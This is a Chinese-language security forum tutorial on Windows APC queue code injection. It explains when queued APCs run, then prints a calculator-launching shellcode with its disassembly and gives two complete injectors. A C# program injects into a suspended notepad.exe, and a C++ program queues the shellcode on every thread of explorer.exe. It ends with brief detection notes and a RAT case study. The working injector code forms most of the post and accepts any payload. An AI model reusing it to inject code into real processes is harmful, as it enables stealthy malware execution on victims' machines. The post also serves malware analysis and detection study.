1 简短原理
APC队列:每个线程都有一个APC队列,在线程处于可警醒状态时,线程会执行APC队列中APC函数。
APC在什么时候调用?
1、线程已经创建,系统在调用线程函数时会检查APC队列,如果不为空,则调用APC队列中的apc函数,直到队列为空后,才开始调用线程函数。
2、线程通过WaitForSingleObjectEx等函数进入可警醒状态时,会先检查APC队列,如果不为空,则调用APC队列中的apc函数,直到队列为空后,才开始等待要等待的对象,此时如果要等待的对象没有进入激发态且没有超时,WaitForSingleObjectEx不会返回。
3、线程通过WaitForSingleObjectEx等函数进入可警醒状态时,APC队列为空,且要等待的对象没有进入激发态,也没有超时,则线程进入睡眠等待状态,此时往该APC队列添加APC函数后,该线程会被唤醒执行完所有APC队列中的函数,然后不去看要等待的对象是否进入激发态,立即从WaitForSingleObjectEx中返回,返回值是WAIT_IO_COMPLETION。往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。
2 实验准备
shellcode示例如下:
50 51 52 53 56 57 55 54 58 66 83 e4 f0 50 6a 60 5a 68 63 61 6c 63 54 59 48 29 d4 65 48 8b 32 48 8b 76 18 48 8b 76 10 48 ad 48 8b 30 48 8b 7e 30 03 57 3c 8b 5c 17 28 8b 74 1f 20 48 01 fe 8b 54 1f 24 0f b7 2c 17 8d 52 02 ad 81 3c 07 57 69 6e 45 75 ef 8b 74 1f 1c 48 01 fe 8b 34 ae 48 01 f7 99 ff d7 48 83 c4 68 5c 5d 5f 5e 5b 5a 59 58 c3
如何得到shellcode的实际汇编代码?
将shellcode的16进制数据copy到ollydbg工具的反汇编窗口中,即可完成。例如在ollydbg中打开任意一个exe文件,在反汇编窗口中选中足够的行数,鼠标右击-二进制-二进制粘贴。经测试这段shellcode的作用是会弹出计算器,如下。
004547CC 50 push eax ; kernel32.BaseThreadInitThunk
004547CD 51 push ecx
004547CE 52 push edx ; test.<ModuleEntryPoint>
004547CF 53 push ebx
004547D0 56 push esi
004547D1 57 push edi
004547D2 55 push ebp
004547D3 54 push esp
004547D4 58 pop eax ; kernel32.756033AA
004547D5 66:83E4 F0 and sp,0xFFF0
004547D9 50 push eax ; kernel32.BaseThreadInitThunk
004547DA 6A 60 push 0x60
004547DC 5A pop edx ; kernel32.756033AA
004547DD 68 63616C63 push 0x636C6163
004547E2 54 push esp
004547E3 59 pop ecx ; kernel32.756033AA
004547E4 48 dec eax ; kernel32.BaseThreadInitThunk
004547E5 29D4 sub esp,edx ; test.<ModuleEntryPoint>
004547E7 65:48 dec eax
004547E9 8B32 mov esi,dword ptr ds:[edx]
004547EB 48 dec eax ; kernel32.BaseThreadInitThunk
004547EC 8B76 18 mov esi,dword ptr ds:[esi+0x18]
004547EF 48 dec eax ; kernel32.BaseThreadInitThunk
004547F0 8B76 10 mov esi,dword ptr ds:[esi+0x10]
004547F3 48 dec eax ; kernel32.BaseThreadInitThunk
004547F4 AD lods dword ptr ds:[esi]
004547F5 48 dec eax ; kernel32.BaseThreadInitThunk
004547F6 8B30 mov esi,dword ptr ds:[eax]
004547F8 48 dec eax ; kernel32.BaseThreadInitThunk
004547F9 8B7E 30 mov edi,dword ptr ds:[esi+0x30]
004547FC 0357 3C add edx,dword ptr ds:[edi+0x3C]
004547FF 8B5C17 28 mov ebx,dword ptr ds:[edi+edx+0x28]
00454803 8B741F 20 mov esi,dword ptr ds:[edi+ebx+0x20]
00454807 48 dec eax ; kernel32.BaseThreadInitThunk
00454808 01FE add esi,edi
0045480A 8B541F 24 mov edx,dword ptr ds:[edi+ebx+0x24]
0045480E 0FB72C17 movzx ebp,word ptr ds:[edi+edx]
00454812 8D52 02 lea edx,dword ptr ds:[edx+0x2]
00454815 AD lods dword ptr ds:[esi]
00454816 813C07 57696E>cmp dword ptr ds:[edi+eax],0x456E6957
0045481D ^ 75 EF jnz short test.0045480E
0045481F 8B741F 1C mov esi,dword ptr ds:[edi+ebx+0x1C] ; ntdll_1a.773A2100
00454823 48 dec eax ; kernel32.BaseThreadInitThunk
00454824 01FE add esi,edi
00454826 8B34AE mov esi,dword ptr ds:[esi+ebp*4]
00454829 48 dec eax ; kernel32.BaseThreadInitThunk
0045482A 01F7 add edi,esi
0045482C 99 cdq
0045482D FFD7 call edi
0045482F 48 dec eax ; kernel32.BaseThreadInitThunk
00454830 83C4 68 add esp,0x68
00454833 5C pop esp ; kernel32.756033AA
00454834 5D pop ebp ; kernel32.756033AA
00454835 5F pop edi ; kernel32.756033AA
00454836 5E pop esi ; kernel32.756033AA
00454837 5B pop ebx ; kernel32.756033AA
00454838 5A pop edx ; kernel32.756033AA
00454839 59 pop ecx ; kernel32.756033AA
0045483A 58 pop eax ; kernel32.756033AA
0045483B C3 retn
以下C#代码中出现的@与任何方法无关,作用是无需在符号后的字符串中转义特殊字符。例如,@"c:\temp" 等于"c:\\temp"。
完整代码,示例采用C#编写。
using System;
using System.Reflection;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class ApcInjectionNewProcess
{
public static void Main()
{
byte[] shellcode = new byte[112] {
0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
};
// Target process to inject into
string processpath = @"C:\Windows\notepad.exe";
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
// Create new process in suspended state to inject into
bool success = CreateProcess(processpath, null,
IntPtr.Zero, IntPtr.Zero, false,
ProcessCreationFlags.CREATE_SUSPENDED,
IntPtr.Zero, null, ref si, out pi);
// Allocate memory within process and write shellcode
IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE);
IntPtr bytesWritten = IntPtr.Zero;
bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);
// Open thread
IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
uint oldProtect = 0;
// Modify memory permissions on allocated shellcode
resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect);
// Assign address of shellcode to the target thread apc queue
IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
IntPtr ThreadHandle = pi.hThread;
ResumeThread(ThreadHandle);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-)
private static UInt32 PAGE_READWRITE = 0x04;
private static UInt32 PAGE_EXECUTE_READ = 0x20;
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
[Flags]
public enum ProcessCreationFlags : uint
{
ZERO_FLAG = 0x00000000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00001000,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[Flags]
public enum ThreadAccess : int
{
TERMINATE = (0x0001) ,
SUSPEND_RESUME = (0x0002) ,
GET_CONTEXT = (0x0008) ,
SET_CONTEXT = (0x0010) ,
SET_INFORMATION = (0x0020) ,
QUERY_INFORMATION = (0x0040) ,
SET_THREAD_TOKEN = (0x0080) ,
IMPERSONATE = (0x0100) ,
DIRECT_IMPERSONATION = (0x0200)
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
int dwThreadId);
[DllImport("kernel32.dll",SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
Int32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError = true )]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId
);
[DllImport("kernel32.dll")]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern uint SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
int dwSize, uint flNewProtect, out uint lpflOldProtect);
}
以上适用的是x64环境,实际演示如下。
采用C++编写的APC注入示例,如下。
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "\x50\x51\x52\x53\x56\x57\x55\x54\x58\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7\x48\x83\xc4\x68\x5c\x5d\x5f\x5e\x5b\x5a\x59\x58\xc3";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
return 0;
}
实际演示如下,进驻explorer.exe条件满足时会不断的调用。
验证下已经被注入的explorer.exe进程,如下可找到最初的shellcode代码。
3 逆向识别
在恶意代码分析中,识别APC注入比较明显的特征为QueueUserAPC函数的调用。
4 实际案例
这里就以笔者遇到的WebMonitorRAT远控后门母体中存在的APC注入流程为例,首先会组合拼接所需的shellcode,后续会注入到记事本进程(notepad.exe)。
接着启动"C:\Windows\system32\notepad.exe"进程,采用APC注入方式注入到shellcode到新进程中。
以下是注入的大体流程,采用APC注入方式,依次会调用CreateProcessW、VirtualAllocEx、WriteProcessMemory、QueueUserAPC,完成以上流程后,等待目标进程线程状态变化来执行shellcode。
5 参考来源
http://xipv6.com/index.php/archives/231/
https://blog.csdn.net/counsellor/article/details/80920864
https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/apc-injection-new-process.cs
https://ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2020-5-23 11:14
被jishuzhain编辑
,原因: